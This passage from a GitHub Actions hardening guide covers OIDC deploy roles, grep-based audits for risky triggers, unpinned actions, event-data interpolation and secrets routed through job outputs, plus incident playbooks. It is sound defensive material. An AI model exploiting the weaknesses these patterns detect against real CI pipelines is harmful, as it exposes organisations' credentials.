4. Put id-token: write on the job, not the workflowOnly the deploying job needs to mint an identity.
5. Prove the constraint holdsOpen a pull request from a throwaway branch with a workflow that tries to assume the role. It must be refused. If it succeeds, the condition is too broad and your approval gate is decorative.
6. Delete the old access keysNot "leave them for now". An unused key is an unmonitored key.

jobs:
  deploy:
    environment: production        # the approval becomes part of the identity
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: ${{ vars.DEPLOY_ROLE_ARN }}
          aws-region: ${{ vars.AWS_REGION }}
      - run: aws sts get-caller-identity    # confirm identity before acting

Verify controls rather than trusting them

# Which workflows use a dangerous trigger?
grep -rl 'pull_request_target\|workflow_run\|issue_comment' .github/workflows/

# Which third-party actions are NOT SHA-pinned?
grep -rhoP 'uses:\s*\K(?!actions/)[\w.-]+/[\w.-]+@[\w.-]+' .github/workflows/ \
  | grep -v '@[0-9a-f]\{40\}$' | sort -u

# Does any run body interpolate event data?
grep -rn 'run:.*\${{\s*github\.event\.' .github/workflows/

# Which workflows have no permissions block?
for f in .github/workflows/*.yml; do
  grep -q '^permissions:' "$f" || echo "no permissions floor: $f"
done

The review checklist

Most incidents are prevented at review time, not runtime. A checklist is the only thing that survives a busy week.

Incident playbooks

A secret leaked into a log

Rotate first. The log is already scraped; assume the credential is compromised regardless of how quickly you deleted it. Then revoke the old credential, delete the log and the run, find the line that printed it, and close the class of problem: secrets through env, never interpolated, and OIDC wherever possible so there is nothing to leak.

Deleting the log first and rotating later optimises for the wrong thing.

A third-party action was compromised

Determine which repositories reference it and at what ref. Revoke every secret those workflows could reach, not just the ones you think were used. Replace the reference with a vetted SHA or an internal fork. Then close the class: SHA pinning, an allow-list policy, and Dependabot.

Deploys have been shipping the wrong build

Look at the cache and artifact names before the code. A key that never invalidates, or two matrix cells uploading the same artifact name, both produce exactly this and neither appears in a diff. Then make the deployed artifact identifiable by an immutable sha- tag or digest so "what is running" has an answer.

Everything went red at once

Auditing what earlier levels taught

The habits from Beginner and Mid do not stop mattering. They become things you verify across a fleet rather than remember per workflow. These one-liners are worth running over any repository you inherit.

# Triggers and filters: which workflows can be started by fork-influenced events?
grep -rln 'pull_request_target\|workflow_run\|issue_comment' .github/workflows/

# Conditions: any job with no guard at all, deploying from any branch?
grep -rn -A3 'environment:' .github/workflows/ | grep -c 'if:' || echo 'ungated deploys'

# Job outputs: is anything secret-looking being routed through one?
grep -rn -B2 'outputs:' .github/workflows/ | grep -i 'token\|secret\|password'

# Reuse: which repositories still copy-paste instead of calling the standard?
grep -rL 'uses: my-org/.github/.github/workflows/' .github/workflows/*.yml

# Guards: any job without a timeout?
for f in .github/workflows/*.yml; do
  grep -q 'timeout-minutes' "$f" || echo "no timeout: $f"
done

Running a shared pipeline as a product

The moment other teams depend on your workflow, you are running a platform.

One repository owns the standard, with CODEOWNERS on the workflow folder so changes are reviewed by whoever carries the pager.

Consumers pin a major tag; you move it. Release v2.7.0, move v2. A fix reaches sixty repositories without sixty pull requests. Breaking changes become v3 with a migration note, never a silent change inside v2.

Canary before moving the tag. One low-risk repository pins the exact patch. Green for a day, then move the major tag. Skip this and one bad release breaks every team at once.

Inputs are a public API. Types, defaults, descriptions. Removing an input is a breaking change even if one repository used it, and the failure lands on somebody else's pull request.

Pass secrets explicitly. secrets: inherit hands the callee everything the caller can see. Listing the two it needs documents the contract and bounds the damage from a bad release.

Make the compliant path the easy path. If using the shared workflow is harder than writing a local one, teams fork it and you have sixty variants with your name on them.

Runners and cost

Windows minutes bill at roughly twice Linux and macOS at roughly ten times. A matrix that includes macOS "for completeness" can become most of your bill, and larger hosted runners are almost always cheaper than the engineering time to run your own fleet.

Performance levers that pay

Making pipeline health visible

Four numbers turn "CI is slow" from an opinion into a funded priority: median and p95 duration per workflow, failure rate split into real failures and flakes, queue time, and cost by workflow and runner label.

- name: Weekly CI health report
  env:
    GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
  run: |
    gh api -X GET '/repos/${{ github.repository }}/actions/runs' \
      -f per_page=100 --jq '
        [.workflow_runs[] | select(.conclusion != null)
         | { name, conclusion,
             mins: (((.updated_at|fromdate) - (.run_started_at|fromdate)) / 60) }]
        | group_by(.name)[]
        | { workflow: .[0].name, runs: length,
            failed: ([.[] | select(.conclusion == "failure")] | length),
            p95: (sort_by(.mins) | .[(length * 0.95) | floor].mins) }' \
      | tee -a "$GITHUB_STEP_SUMMARY"

One caution: debugging actions that open an interactive shell on a runner are useful and are also a live session on a machine holding your secrets. Restrict them to jobs that have none.

Machine-learning pipelines

Validate before you spend. A schema, drift, or row-count check on a cheap runner protects an expensive one. Failing after forty minutes of GPU time on a malformed dataset is an avoidable cost.

Gate on a comparison, not an absolute. "Better than what is deployed" survives a changing dataset; a hard-coded threshold silently becomes either meaningless or a permanent blocker.

Publish metrics to the step summary. The person approving a promotion should not download an artifact to see the numbers.

Promote from a separate job behind an environment. That buys the approval, the scoped credentials, and a deployment record naming the commit, the dataset version, and the run.

- name: Gate on a comparison with production
  run: |
    python -m pipeline.compare \
      --candidate "${{ needs.train.outputs.run-id }}" \
      --baseline production \
      --min-delta 0.0

The architectural habit underneath all of it: Actions orchestrates, it does not compute. The six-hour ceiling is not the real constraint. A CI runner is the wrong place for a long, expensive, retryable workload. Submit it to a platform built for that, wait, and gate on the result.